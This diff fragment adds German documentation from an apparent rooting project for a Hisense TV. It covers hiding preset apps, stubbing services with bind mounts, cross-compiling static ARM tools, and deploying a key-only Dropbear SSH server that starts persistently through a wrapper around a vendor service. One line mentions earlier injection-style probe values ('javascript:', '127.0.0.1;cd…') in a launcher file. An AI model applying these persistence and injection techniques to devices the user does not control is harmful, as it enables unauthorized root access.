**Vor UI-Uploads:** Backup `/3rd_rw/backup/UI...`; nach dem Upload UI neu
|
||||||
|
starten (siehe Route B). SFTP ist root-equivalent, key-only, LAN.
|
||||||
|
- **SSH:** siehe `../root/ROOT-GUIDE.md`; key-only, PTY via devpts-Workaround.
|
||||||
|
- **Root-Loop:** der bequemste Deploy-Kanal für kleine Dateien/Kommandos (siehe D.3).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Test- und Rollback-Plan
|
||||||
|
|
||||||
|
1. **Backup:** `/3rd_rw/backup/<datum>/` für jede geänderte Datei (`UI/index.html`, `Appinfo.json`, `deletedPresetApp.txt`, `preset.txt`, `Category*.xml`, `am_config`, `am_start.ini`, `delayrun.sh`, `HamService`-Wrapper).
|
||||||
|
2. **Eine Änderung:** nicht UI + AM + Bloat gleichzeitig.
|
||||||
|
3. **Test:** UI neu starten; SSH/Recon offen halten; `log`/DevTools prüfen.
|
||||||
|
4. **Rollback:** Backup zurück; `umount` der Bind-Mounts; UI/AM neu starten; notfalls reboot.
|
||||||
|
5. **Kein Flash:** alle Änderungen in `/3rd_rw`/`/data`/`/perm`/Bind-Mounts; der ro Rootfs/`/3rd` bleibt unangetastet.
|
||||||
|
6. **SSH/Root-Loop:** nie aussperren; vor UI-/AM-Änderungen testen, dass SSH noch geht.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Templates
|
||||||
|
|
||||||
|
- `templates/developer.sh`
|
||||||
|
- `templates/custom-app.json`
|
||||||
|
- `templates/hide-preset.json`
|
||||||
|
- `templates/custom-ui.html`
|
||||||
|
- `templates/start-UI-custom.sh`
|
||||||
|
- `templates/README.md`
|
||||||
|
|
||||||
|
**Dead Ends / verworfene Wege:** `../dead-ends.md`.
|
||||||
@@ -0,0 +1,261 @@
|
|||||||
|
# 05 — Bloat: 26 Preset-Apps, Native-Apps/Services, was weg kann
|
||||||
|
|
||||||
|
**Ziel:** „Pre-loaded Müll“ ausblenden/abschalten, ohne die TV-/UI-Funktionen zu zerstören.
|
||||||
|
**Status:** App-/Service-Listen **CONFIRMED**; die **Wirkung** einzelner Deaktivierungen ist teils `UNVERIFIED` (testen, backupen, rollback).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Die 26 Preset-Tiles (UI)
|
||||||
|
|
||||||
|
Quelle: `/3rd_rw/appdata/launcher/preset.txt` (live). Die Tiles werden über `Appinfo.json`/`deletedPresetApp.txt`/`Category*.xml` gesteuert.
|
||||||
|
|
||||||
|
| # | App | StartCommand / URL | Typ | Boot/On-demand |
|
||||||
|
|---:|---|---|---|---|
|
||||||
|
| 1 | Netflix | `netflix` | native (AM) | `am_start.ini` (Boot) |
|
||||||
|
| 2 | Prime Video | `amazon` | native (AM) | on-demand |
|
||||||
|
| 3 | Disney+ | `https://cd-dmgz.bamgrid.com/bbd/hisense_tv/index.html` | Web | on-demand |
|
||||||
|
| 4 | maxdome | `http://8577004de253-ott-tv.maxdome.de` | Web | on-demand |
|
||||||
|
| 5 | YouTube | `youtube` | native/Web | on-demand |
|
||||||
|
| 6 | Rakuten TV | `https://prod-hisense-ui40-app.rakuten.tv/` | Web | on-demand |
|
||||||
|
| 7 | rlaxxTV | `https://tvapp.rlaxxtv.com/r/no-animations/720/?customer=Hisense` | Web | on-demand |
|
||||||
|
| 8 | Chili | `https://hisense.chili.com` | Web | on-demand |
|
||||||
|
| 9 | UEFA.TV | `https://smarttv.uefa.tv` | Web | on-demand |
|
||||||
|
| 10 | RTL TVNOW | `https://app.hisense.rtl-smart.tv/` | Web | on-demand |
|
||||||
|
| 11 | Kidoodle.TV | `https://ctv-vewd.kidoodle.tv` | Web | on-demand |
|
||||||
|
| 12 | AccuWeather | `accuweather` | native/Web | on-demand |
|
||||||
|
| 13 | YuppTV | `http://www.yupptv.com/hisense/index.html` | Web | on-demand |
|
||||||
|
| 14 | Plex | `http://plex.tv/web/tv/hisense?mixedContent=1` | Web | on-demand |
|
||||||
|
| 15 | Videociety | `https://smarttv3.videociety.de` | Web | on-demand |
|
||||||
|
| 16 | App Store | `http://2897431816.fxm3751860294.com/?category=apps` | Store/Foxxum | on-demand |
|
||||||
|
| 17 | Movies | `...?category=movies` | Store | on-demand |
|
||||||
|
| 18 | Catch up TV | `...?category=catchup` | Store | on-demand |
|
||||||
|
| 19 | News | `...?category=news` | Store | on-demand |
|
||||||
|
| 20 | Music | `...?category=music` | Store | on-demand |
|
||||||
|
| 21 | Sports | `...?category=sport` | Store | on-demand |
|
||||||
|
| 22 | Search | `...?category=search` | Store | on-demand |
|
||||||
|
| 23 | Game Center | `http://apps.tvgam.es/tv_games/hisense_portal/production/portal/index.html` | Web | on-demand |
|
||||||
|
| 24 | TV Browser | `browser` | native (Web-Browser) | on-demand |
|
||||||
|
| 25 | VIDAA tv | `vidaa-plus` | native/Store | on-demand |
|
||||||
|
| 26 | VidaaRecon | `http://192.168.188.150:9000/recon.html` | User/Web (`UrlType 36`) | on-demand |
|
||||||
|
|
||||||
|
- **Unser `VidaaRecon`** ist die Recon-/Debug-App; im finalen Setup darf sie bleiben oder entfernt werden.
|
||||||
|
- **`TV Browser`** ist der Web-Browser (`hisense_browser`); **nicht** die TV-UI.
|
||||||
|
- **Store-/Foxxum-URLs** (`2897431816.fxm3751860294.com`) sind die App-Store-Kategorien.
|
||||||
|
- **`PreInstall:true`** bei den Presets; `UrlType 37` (Start Web App); unser Recon `36`.
|
||||||
|
|
||||||
|
### 1.1 Tiles ausblenden: `deletedPresetApp.txt`
|
||||||
|
|
||||||
|
Datei: `/3rd_rw/appdata/launcher/deletedPresetApp.txt` — JSON-Array von URLs/IDs.
|
||||||
|
Beispiel: `templates/hide-preset.json`.
|
||||||
|
|
||||||
|
```json
|
||||||
|
[
|
||||||
|
"netflix",
|
||||||
|
"amazon",
|
||||||
|
"youtube",
|
||||||
|
"https://cd-dmgz.bamgrid.com/bbd/hisense_tv/index.html",
|
||||||
|
"http://8577004de253-ott-tv.maxdome.de",
|
||||||
|
"https://prod-hisense-ui40-app.rakuten.tv/",
|
||||||
|
"https://tvapp.rlaxxtv.com/r/no-animations/720/?customer=Hisense",
|
||||||
|
"https://hisense.chili.com",
|
||||||
|
"https://smarttv.uefa.tv",
|
||||||
|
"https://app.hisense.rtl-smart.tv/",
|
||||||
|
"https://ctv-vewd.kidoodle.tv",
|
||||||
|
"http://www.yupptv.com/hisense/index.html",
|
||||||
|
"http://plex.tv/web/tv/hisense?mixedContent=1",
|
||||||
|
"https://smarttv3.videociety.de",
|
||||||
|
"http://apps.tvgam.es/tv_games/hisense_portal/production/portal/index.html",
|
||||||
|
"http://2897431816.fxm3751860294.com/?category=apps",
|
||||||
|
"http://2897431816.fxm3751860294.com/?category=movies",
|
||||||
|
"http://2897431816.fxm3751860294.com/?category=catchup",
|
||||||
|
"http://2897431816.fxm3751860294.com/?category=news",
|
||||||
|
"http://2897431816.fxm3751860294.com/?category=music",
|
||||||
|
"http://2897431816.fxm3751860294.com/?category=sport",
|
||||||
|
"http://2897431816.fxm3751860294.com/?category=search"
|
||||||
|
]
|
||||||
|
```
|
||||||
|
|
||||||
|
- **IDs** (`netflix`, `amazon`, `youtube`, `browser`, `vidaa-plus`, `accuweather`) für native Apps; **URLs** für Web/Store.
|
||||||
|
- **`preset.txt` ist nur Cache:** die Hide-Liste ist der persistente Hebel. Die UI/`ldi.js` filtert damit.
|
||||||
|
- **Stand 2026-10-26:** Die alten Probe-Einträge (data:, javascript:, 127.0.0.1;cd…) wurden beim Cleanup entfernt; die Datei ist jetzt `[]`. Zum Ausblenden die obige Liste (oder eine Teilmenge) eintragen.
|
||||||
|
- **Backup:** `cp deletedPresetApp.txt /3rd_rw/backup/`.
|
||||||
|
- **Wirkung:** UI/Launcher neu starten; reboot wirkt sicher.
|
||||||
|
|
||||||
|
### 1.2 User-App entfernen
|
||||||
|
|
||||||
|
`/3rd_rw/appdata/launcher/Appinfo.json` → `VidaaRecon`-Eintrag entfernen; UI neu starten.
|
||||||
|
Oder `preset.txt`-Eintrag (Cache) entfernen; der `Appinfo`-Eintrag ist die eigentliche User-App.
|
||||||
|
|
||||||
|
### 1.3 `preset.txt` / `Category*.xml` / `serviceUpdate.xml`
|
||||||
|
|
||||||
|
- **`preset.txt`:** Cache; kann von der UI/`allAppsWriteToFileForUse` neu geschrieben werden.
|
||||||
|
- **`Category_1001_*.xml`/`Category_57_*.xml`/`CategoryIndex.xml`/`CategoryList_*.xml`/`PicInfo.xml`:** die Store-/Launcher-Quelle; Änderungen nur mit Backup (der `LauncherService` kann sie aktualisieren).
|
||||||
|
- **`serviceUpdate.xml`:** Land/Timestamp; entscheidet `launcher/data` (aktiv) vs. `UI/data` (Default). Wenn du eigene Kategorien willst, halte Land/Timestamp konsistent oder bearbeite `UI/data/` als Fallback.
|
||||||
|
- **Icons:** `res/`; `cache/index.json`; `Image`/`IconURL`/`Thumb`/`Icon_96`.
|
||||||
|
|
||||||
|
### 1.4 „Platz sparen“?
|
||||||
|
|
||||||
|
**Nein, nicht durch Löschen der Presets.** `/3rd` ist ein **ro squashfs (100 % voll)**; die Apps liegen dort. Tiles ausblenden/AM-Sektionen deaktivieren spart **Runtime**, nicht Flash-Speicher.
|
||||||
|
- `/3rd_rw`: 489 MB frei; `/data`: 1.9 GB frei.
|
||||||
|
- Um `/3rd` zu verkleinern, müsste man das squashfs neu packen/flashen → **nicht** Teil dieses Wegs.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Native Apps / Services — Matrix
|
||||||
|
|
||||||
|
### 2.1 Boot-Apps (`am_start.ini`)
|
||||||
|
|
||||||
|
| App/Section | Exec | Rolle | Empfehlung |
|
||||||
|
|---|---|---|---|
|
||||||
|
| `dtv_app_mtk` | `/basic/dtv_svc` | TV-Kern (Tuner/DTV/Navigator) | **behalten** |
|
||||||
|
| `securetime` | `/3rd/playready/securetime` | PlayReady Secure Time | behalten, wenn DRM/Netflix; sonst optional |
|
||||||
|
| `netflix` | `/3rd/netflix/nrd-app/netflix` | Netflix | optional (aus, wenn nicht genutzt) |
|
||||||
|
| `dialserver` | `/3rd/dialserver/dialserver` | DIAL/CAST | optional |
|
||||||
|
| `samba_relay_agent` | `/3rd/samba/samba-relay-agent` | Samba-Relay (9090) | optional |
|
||||||
|
| `browser_base` | `/3rd/internet_browser/browser -x bws_background` | Hintergrund-Browser | optional |
|
||||||
|
|
||||||
|
### 2.2 On-demand / `am_config`
|
||||||
|
|
||||||
|
| App | Exec | Rolle | Empfehlung |
|
||||||
|
|---|---|---|---|
|
||||||
|
| `opera4x` | `/3rd/opera4x/browser/run-Browser.sh` | Web-Browser (`hisense_browser`) | behalten (TV Browser/Recon) |
|
||||||
|
| `opera_browser` | `/3rd/internet_browser/browser` | Internet-Browser-Variante | optional |
|
||||||
|
| `opera_tv_store` | `/3rd/internet_browser/browser` | TV Store | optional |
|
||||||
|
| `youtube` | Internet-Browser (`youtube.com/tv`) | YouTube Web | optional |
|
||||||
|
| `youtube_kids`/`youtube_tv` | `/3rd/cobalt/cobalt` | Cobalt-YouTube | optional |
|
||||||
|
| `cobalt` | `/3rd/cobalt/cobalt` | Cobalt | optional |
|
||||||
|
| `amazon_ignition` | `/3rd/amazon/bin/ignition` | Amazon | optional |
|
||||||
|
| `factory_lite` | `/3rd/his_factory/factory_lite` | Factory-Menü | behalten (Service-Menü) oder optional |
|
||||||
|
| `huluplus`, `hotlist`, `generic_osd` | Internet-Browser | Legacy/Store | optional |
|
||||||
|
| `vudu` (referenziert) | — | Store/Region | optional |
|
||||||
|
| `diskcache` | `/3rd/netflix/diskCache` | Netflix-Cache | nur mit Netflix |
|
||||||
|
|
||||||
|
### 2.3 Späte Services (`delayrun.sh`)
|
||||||
|
|
||||||
|
| Service | Pfad | Rolle | Empfehlung |
|
||||||
|
|---|---|---|---|
|
||||||
|
| `swrc-server` | `/3rd/swrc-server/swrc-server` | Software-Remote-Control | optional (Remote-App) |
|
||||||
|
| `runlogservice` | `/3rd/his_runlog/runlogservice.sh` | Run-/Logging | optional (Logs) |
|
||||||
|
| `LauncherService` | `/3rd/launcherservice/bin/LauncherService` | Launcher-/App-Daten/UI | **behalten** (UI-Daten) |
|
||||||
|
| `Seriallog` | `/3rd/Serial_log/Seriallog` | serielles Logging | optional |
|
||||||
|
| `HamService` | `/3rd/hamservice/HamService` | ACR/Hisense | **Wrapper behalten** (SSH/Root-Loop); echtes HamService optional |
|
||||||
|
| `swap` | `mmcblk0p34` | Swap | optional (Performance) |
|
||||||
|
|
||||||
|
### 2.4 `ms_service` / UI / AM
|
||||||
|
|
||||||
|
| Komponente | Pfad | Rolle | Empfehlung |
|
||||||
|
|---|---|---|---|
|
||||||
|
| `ms_service` | `/3rd/ms-screen/ms_service` | DLNA/MediaServer | optional (nur mit DLNA) |
|
||||||
|
| `hisenseUI` | `/3rd/opera4x/hisenseUI/bin/hisenseUI` | TV-UI (GLES) | **behalten** (UI) |
|
||||||
|
| `app_man` | `/basic/app_man` | AM/native Apps | **behalten** (TV/Apps) |
|
||||||
|
| `dtv_svc` | `/basic/dtv_svc` | TV-Kern | **behalten** |
|
||||||
|
| `browser_base` | `/3rd/internet_browser/browser` | Hintergrund-Browser | optional |
|
||||||
|
| `LauncherService` | siehe oben | UI-Daten | **behalten** |
|
||||||
|
| `HamService` | siehe oben | ACR | Wrapper behalten; echtes optional |
|
||||||
|
|
||||||
|
### 2.5 Was **nicht** deaktivieren
|
||||||
|
|
||||||
|
- **`dtv_app_mtk`/`dtv_svc`**: TV/Tuner/Navigator; sonst kein TV/Bild.
|
||||||
|
- **`app_man`**: native Apps/AM; sonst starten Netflix/YouTube/TV etc. nicht. Für eine reine Custom-UI könnte man ihn stubben, aber das ist riskant (Remote/TV/Apps).
|
||||||
|
- **`hisenseUI`**: die UI; ohne sie schwarzer Bildschirm (es sei denn, du startest eine eigene UI).
|
||||||
|
- **`LauncherService`**: die UI-App-Daten; ohne ihn ggf. leere/fehlende Tiles.
|
||||||
|
- **SSH/Root-Loop** (`HamService`-Wrapper): dein Rettungsweg.
|
||||||
|
- **`securetime`**, wenn du DRM/Netflix nutzt.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Wie deaktivieren? (drei saubere Wege)
|
||||||
|
|
||||||
|
### 3.1 UI-Tiles: `deletedPresetApp.txt`
|
||||||
|
|
||||||
|
- Einfachster, reversibler Weg; kein AM/Service-Eingriff.
|
||||||
|
- Siehe 1.1; Backup; UI neu starten/reboot.
|
||||||
|
|
||||||
|
### 3.2 Native AM-Apps: modifizierte `am_start.ini`/`am_config` per `developer.sh`
|
||||||
|
|
||||||
|
- Kopie nach `/3rd_rw/etc/`:
|
||||||
|
```sh
|
||||||
|
cp /basic/am_start.ini /3rd_rw/etc/am_start.ini
|
||||||
|
cp /basic/am_config /3rd_rw/etc/am_config
|
||||||
|
# Sektionen/App_sect entfernen (z. B. netflix, dialserver, samba, browser_base)
|
||||||
|
```
|
||||||
|
- In `/3rd_rw/developer.sh` (vor `app_man`, Zeile 177):
|
||||||
|
```sh
|
||||||
|
mount --bind /3rd_rw/etc/am_start.ini /basic/am_start.ini
|
||||||
|
mount --bind /3rd_rw/etc/am_config /basic/am_config
|
||||||
|
```
|
||||||
|
- **Reboot**; `ps`/AM prüfen; Backup/Rollback per `umount`/reboot.
|
||||||
|
- **Nicht** `dtv_app_mtk`/`dtv_svc`/`app_man` entfernen; `securetime` nur ohne DRM.
|
||||||
|
|
||||||
|
### 3.3 Späte Services: modifizierte `delayrun.sh` per `developer.sh`
|
||||||
|
|
||||||
|
- Kopie nach `/3rd_rw/etc/delayrun.sh`; unerwünschte Zeilen entfernen (`swrc`, `runlog`, `Seriallog`; `LauncherService`/`HamService` behalten).
|
||||||
|
- In `developer.sh`:
|
||||||
|
```sh
|
||||||
|
mount --bind /3rd_rw/etc/delayrun.sh /basic/delayrun.sh
|
||||||
|
```
|
||||||
|
- `LauncherService` (UI) und `HamService`-Wrapper (SSH/Root-Loop) **behalten**.
|
||||||
|
- **`ms_service`** ist nicht in `delayrun`, sondern in `autorun.sh` (Zeile 162). Deaktivieren:
|
||||||
|
```sh
|
||||||
|
# developer.sh, vor Zeile 162:
|
||||||
|
mkdir -p /3rd_rw/stubs
|
||||||
|
printf '#!/bin/sh\nexit 0\n' > /3rd_rw/stubs/true
|
||||||
|
chmod 755 /3rd_rw/stubs/true
|
||||||
|
mount --bind /3rd_rw/stubs/true /3rd/ms-screen/ms_service
|
||||||
|
```
|
||||||
|
- **`start-UI.sh`/`app_man`** stubben nur, wenn du eine eigene UI/keine nativen Apps willst; riskant.
|
||||||
|
|
||||||
|
### 3.4 ACR/HamService
|
||||||
|
|
||||||
|
- Der Wrapper `/3rd_rw/hamservice/HamService` startet Root-Loop + SSH und `exec`t das echte HamService.
|
||||||
|
- **ACR aus, SSH/Loop an:** `exec /3rd/hamservice/HamService "$@"` durch `exit 0` ersetzen (oder HamService-Config deaktivieren, `UNVERIFIED`).
|
||||||
|
- **HamService ganz aus:** Wrapper behalten (für SSH/Loop), echtes Service nicht starten; `startHam.sh` ruft nur den Wrapper.
|
||||||
|
- **Root-Loop/SSH nicht verlieren:** vor Änderung testen, dass du per SSH wieder rein kommst.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Platz / Runtime
|
||||||
|
|
||||||
|
- **Runtime-Bloat** (Prozesse/RAM/CPU) lässt sich durch 3.1–3.4 reduzieren.
|
||||||
|
- **Flash-Platz** wird **nicht** frei: `/3rd`/Rootfs sind ro squashfs (100 %). Löschen von Dateien in `/3rd` ist nicht möglich; nur ausblenden/stubben.
|
||||||
|
- `/3rd_rw` 489 MB frei; `/data` 1.9 GB frei; `/perm` 3.5 MB frei.
|
||||||
|
- **Kein Package Manager**, kein „Uninstall“ im Distro-Sinn.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Risiko-/Rollback-Matrix
|
||||||
|
|
||||||
|
| Änderung | Risiko | Rollback |
|
||||||
|
|---|---|---|
|
||||||
|
| `deletedPresetApp.txt` | niedrig (Tiles weg) | Backup zurück; UI neu starten |
|
||||||
|
| `Appinfo.json` | niedrig (User-App weg) | Backup zurück; UI neu starten |
|
||||||
|
| `Category*.xml`/`preset` | mittel (leere/falsche Tiles) | Backup; `LauncherService`/UI neu starten |
|
||||||
|
| `am_start.ini`/`am_config` | mittel–hoch (Apps/TV) | `umount`/Backup; reboot |
|
||||||
|
| `delayrun.sh` | mittel (Services/Logs/UI) | `umount`/Backup; reboot |
|
||||||
|
| `ms_service`-Stub | niedrig (DLNA weg) | `umount`; reboot |
|
||||||
|
| `start-UI`-Stub/Custom-UI | hoch (schwarzer Bildschirm) | Backup `UI/index.html`; SSH/root-Loop; UI neu starten |
|
||||||
|
| `app_man`/`dtv_svc` aus | hoch (TV/Apps) | `umount`/Backup; reboot |
|
||||||
|
| `HamService`-Wrapper | mittel (SSH/Loop weg) | Original-Symlink; `/3rd_rw/sshd/start_sshd.sh`; reboot |
|
||||||
|
| `patch/opera4x` full overlay | hoch (Browser/UI fehlt) | Patch-Ordner entfernen; reboot |
|
||||||
|
|
||||||
|
**Immer:** Backup nach `/3rd_rw/backup/`; SSH/Root-Loop testen; eine Änderung pro Test; kein Flash.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. „Keep“-Liste (für ein stabiles, schlankes System)
|
||||||
|
|
||||||
|
- **TV/UI:** `dtv_svc`/`dtv_app_mtk`, `hisenseUI`, `app_man`, `LauncherService`, `securetime` (bei DRM).
|
||||||
|
- **Zugang:** `HamService`-Wrapper (SSH/Root-Loop), `/3rd_rw/sshd`, `root_loop.sh`.
|
||||||
|
- **Web:** `opera4x`/`hisense_browser` (TV Browser/Recon), `browser_base` nur wenn nötig.
|
||||||
|
- **Daten:** `/3rd_rw/appdata/launcher` (Tiles), `/3rd_rw/UI` (UI), `/3rd_rw/backup`.
|
||||||
|
- **Optional aus:** Netflix, YouTube/Cobalt, Amazon, DIAL, Samba, `ms_service`, `swrc`, `runlog`, `Seriallog`, ACR/HamService (echt), Vudu/Hulu/Hotlist/GenericOSD, Diskcache.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. Unknowns
|
||||||
|
|
||||||
|
- Exakte Folgen des Abschaltens von `ms_service`/`swrc`/`runlog`/`Seriallog`/`HamService`/`securetime`/`browser_base`/`app_man` (je nach UI/Store/DRM).
|
||||||
|
- Ob `LauncherService`/`allAppsWriteToFileForUse` die `preset.txt`/`Category*.xml`/`deletedPresetApp.txt` bei jedem Start/Update neu schreibt (Hide-Liste ist der robuste Hebel).
|
||||||
|
- Ob `preset.txt`/`Appinfo`/`Category`-Änderungen einen UI-/Launcher-Neustart oder Reboot brauchen (UI-Restart reicht meist; reboot sicher).
|
||||||
|
- Ob die Store-/Foxxum-Daten (`serviceUpdate`/`Category*`) bei Netzwerk/Store-Update überschrieben werden.
|
||||||
|
- Ob `VIDAAU2Launcher` auf diesem Modell aktiv ist (die aktive UI ist `/3rd_rw/UI`).
|
||||||
@@ -0,0 +1,297 @@
|
|||||||
|
# 06 — Toolchain & Deploy (kein Package Manager)
|
||||||
|
|
||||||
|
**Status:** System-/Toolchain-Constraints **CONFIRMED**; Dropbear-Build + Deploy live bestätigt; die Skripte in `../root/` sind der finale Weg.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Kein Package Manager
|
||||||
|
|
||||||
|
Live-Check (root):
|
||||||
|
|
||||||
|
```sh
|
||||||
|
for c in apt apt-get dpkg rpm opkg ipkg apk yum pacman; do command -v $c; done # leer
|
||||||
|
ls -la /etc/opkg /etc/opkg.conf /var/lib/opkg /var/lib/dpkg /usr/lib/opkg # fehlt
|
||||||
|
/bin/busybox --list | grep -E '^(opkg|dpkg|rpm|apk|ipkg)$' # leer
|
||||||
|
cat /etc/os-release # fehlt
|
||||||
|
```
|
||||||
|
|
||||||
|
**Es gibt keinen Package Manager.** Kein `opkg install`, kein `apt`, kein Paket-Repo.
|
||||||
|
**Deploy = Dateien kopieren + ausführbar machen + starten.** Keine „Installation“ im Distro-Sinn.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Bauen für den TV
|
||||||
|
|
||||||
|
| Constraint | Wert |
|
||||||
|
|---|---|
|
||||||
|
| Architektur | ARMv7, EABI5, hard-float, VFPv4/NEON |
|
||||||
|
| Kernel | 3.18.25; kein overlayfs, kein devtmpfs, devpts ja |
|
||||||
|
| TV-libc | glibc 2.18 (`/lib/libc-2.18.so`, `ld-linux.so.3`) |
|
||||||
|
| Host-Cross | `arm-linux-gnueabihf-gcc`, `-as`, `-ld`, `-objcopy` |
|
||||||
|
| Static | **empfohlen**; `-static`; der mitgelieferte Dropbear ist statisch und läuft |
|
||||||
|
| Dynamic | nur mit TV-glibc 2.18/Sysroot; sonst `GLIBC_2.xx not found` |
|
||||||
|
| Package Manager | keiner |
|
||||||
|
|
||||||
|
### 2.1 Einfaches statisches Tool
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cat > hello.c <<'EOF'
|
||||||
|
#include <stdio.h>
|
||||||
|
int main(){ printf("hello tv\n"); return 0; }
|
||||||
|
EOF
|
||||||
|
arm-linux-gnueabihf-gcc -static -Os -o hello hello.c
|
||||||
|
file hello
|
||||||
|
# ELF 32-bit LSB executable, ARM, EABI5, statically linked
|
||||||
|
```
|
||||||
|
|
||||||
|
Deploy:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# per SSH (funktioniert immer, auch ohne SFTP)
|
||||||
|
base64 -w0 hello | ssh root@192.168.188.94 'base64 -d > /3rd_rw/bin/hello && chmod 755 /3rd_rw/bin/hello'
|
||||||
|
# oder per File.download (HTTP -> /3rd_rw/appdata) + root_loop cp/chmod
|
||||||
|
# oder nach optionalem SFTP-Install direkt: scp hello root@TV:/3rd_rw/bin/
|
||||||
|
```
|
||||||
|
|
||||||
|
**Hinweis:** Dropbear allein hat keinen sftp-server. Der finale Ordner enthält einen statischen OpenSSH-9.9p1-sftp-server + gepatchten Dropbear; nach `../root/scripts/host/install_sftp.sh` funktionieren `sftp` und modernes `scp` (SFTP). Vorher: `ssh` + `base64`/`cat`/`tar` oder `File.download`. `tar` ist auf dem TV (BusyBox) vorhanden.
|
||||||
|
|
||||||
|
### 2.2 Dynamisches Tool (nur wenn nötig)
|
||||||
|
|
||||||
|
- Gegen die **TV-glibc 2.18** linken (Sysroot/Headers aus dem TV oder ein passendes älteres Sysroot); sonst scheitert der Loader.
|
||||||
|
- Der mitgelieferte Dropbear ist **statisch** (glibc 2.39) und läuft auf dem 3.18-Kernel; das ist der pragmatische Weg.
|
||||||
|
- `LD_LIBRARY_PATH`/`RPATH` beachten; die TV-Libs liegen in `/lib`, `/basic/lib`, `/3rd/lib`, `/3rd/opera4xLib`, `/3rd_rw/...`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Dropbear (SSH) — Build + Deploy
|
||||||
|
|
||||||
|
Die finalen Binaries liegen in `../root/tools/pub/`:
|
||||||
|
|
||||||
|
```
|
||||||
|
dropbear 882204 B SHA256 976ec57e401765d5fc9c0a201d19c997c004dcf91a8d4bdb039bbb8419071eae
|
||||||
|
dropbear-sftp 882204 B SHA256 a21b0d3e53dd1d124105350319df45a2b44e7cef70dd29b418644b11fdcfed57
|
||||||
|
dropbearkey 755452 B SHA256 3fbfa60891b3a9f3e971a24071ed4d14c93ee3e773dd6f4969646cc811b0dbbf
|
||||||
|
sftp-server 635680 B SHA256 d0f7700e84e582aef3948c29e4317fb0119e13393374a7455922ffa8d01202f3
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3.1 Repro-Build
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd /workspace/hisense-he40e5600-root-modding
|
||||||
|
root/scripts/host/build_dropbear.sh
|
||||||
|
```
|
||||||
|
|
||||||
|
Das Skript nutzt `sources/dropbear-2022.83.tar.bz2` (SHA unten), configured mit:
|
||||||
|
|
||||||
|
```
|
||||||
|
--host=arm-linux-gnueabihf
|
||||||
|
--disable-zlib --disable-pam --disable-shadow
|
||||||
|
--disable-lastlog --disable-utmp --disable-wtmp
|
||||||
|
--disable-utmpx --disable-wtmpx
|
||||||
|
--disable-pututline --disable-pututxline
|
||||||
|
CC=arm-linux-gnueabihf-gcc CFLAGS="-Os -static" LDFLAGS="-static"
|
||||||
|
```
|
||||||
|
|
||||||
|
und `localoptions.h`:
|
||||||
|
|
||||||
|
```c
|
||||||
|
#define DROPBEAR_SVR_PASSWORD_AUTH 0
|
||||||
|
#define DROPBEAR_SVR_PUBKEY_AUTH 1
|
||||||
|
#define DROPBEAR_CLIENT 0
|
||||||
|
```
|
||||||
|
|
||||||
|
- **Key-only:** Passwort-Auth ist compile-time aus; kein `-s`-Flag nötig (dieser Build kennt `-s` nicht).
|
||||||
|
- **`--disable-shadow`:** kein `/etc/shadow`-Zugriff; Pubkey-Auth.
|
||||||
|
- **Static:** keine TV-Lib-Abhängigkeit.
|
||||||
|
- **`dropbearkey`:** Host-Key erzeugen (`-t ed25519 -f /3rd_rw/sshd/host_key`).
|
||||||
|
- **`dropbear-sftp`:** `build_dropbear.sh` ruft am Ende `patch_dropbear_sftp.py`; das patcht `SFTPSERVER_PATH` auf `/3rd_rw/sshd/sftp-server` (gleiche String-Länge, keine ELF-Offsets). Der statische `sftp-server` kommt aus `build_sftp_server.sh`.
|
||||||
|
|
||||||
|
### 3.2 Deploy auf dem TV
|
||||||
|
|
||||||
|
1. `../root/scripts/host/upload_to_appdata.js` (TV-Konsole): lädt `dropbear`, `dropbear-sftp`, `dropbearkey`, `sftp-server`, `authorized_keys`, `start_sshd.sh`, `root_loop.sh`, `hamservice-wrapper.sh`, `deploy_sshd.sh`, `verify.sh`, `rollback.sh` nach `/3rd_rw/appdata`.
|
||||||
|
2. `../root/scripts/host/run_root_cmd.js` mit `/bin/sh /3rd_rw/appdata/deploy_sshd.sh`.
|
||||||
|
3. `deploy_sshd.sh`:
|
||||||
|
- kopiert die Binaries nach `/3rd_rw/sshd` (nutzt `dropbear-sftp` und installiert `sftp-server`, falls vorhanden);
|
||||||
|
- erzeugt Host-Key (Ed25519);
|
||||||
|
- kopiert `/etc/passwd` → `/3rd_rw/sshd/etc_passwd` mit Root-Home `/3rd_rw/sshd/home` und **bindet** sie über `/etc/passwd`;
|
||||||
|
- mountet devpts auf `/dev/shm/pts` und bindet es über `/dev/pts`;
|
||||||
|
- setzt `authorized_keys` (600), `.ssh`/Home 700;
|
||||||
|
- startet Dropbear auf `0.0.0.0:22`, key-only;
|
||||||
|
- installiert den `HamService`-Wrapper;
|
||||||
|
- prüft Prozesse/Port/Log/Host-Key.
|
||||||
|
|
||||||
|
### 3.3 PTY-Workaround
|
||||||
|
|
||||||
|
`/dev` ist Teil des **ro Squashfs** (kein devtmpfs); `/dev/pts` enthält statische Nodes 136,0–4; `/dev/ptmx` ist c 5,2. `mount -t devpts` direkt auf `/dev/pts` scheitert (ro Target).
|
||||||
|
|
||||||
|
```sh
|
||||||
|
mkdir -p /dev/shm/pts
|
||||||
|
mount -t devpts -o mode=620,ptmxmode=666,gid=5 devpts /dev/shm/pts
|
||||||
|
mount --bind /dev/shm/pts /dev/pts
|
||||||
|
```
|
||||||
|
|
||||||
|
- `/dev/ptmx` bleibt der statische Node; `openpty` funktioniert damit.
|
||||||
|
- `start_sshd.sh` macht das bei jedem Start; der `HamService`-Wrapper ruft es beim Boot.
|
||||||
|
- Fallback ohne PTY: `ssh -T root@192.168.188.94 'id'`.
|
||||||
|
|
||||||
|
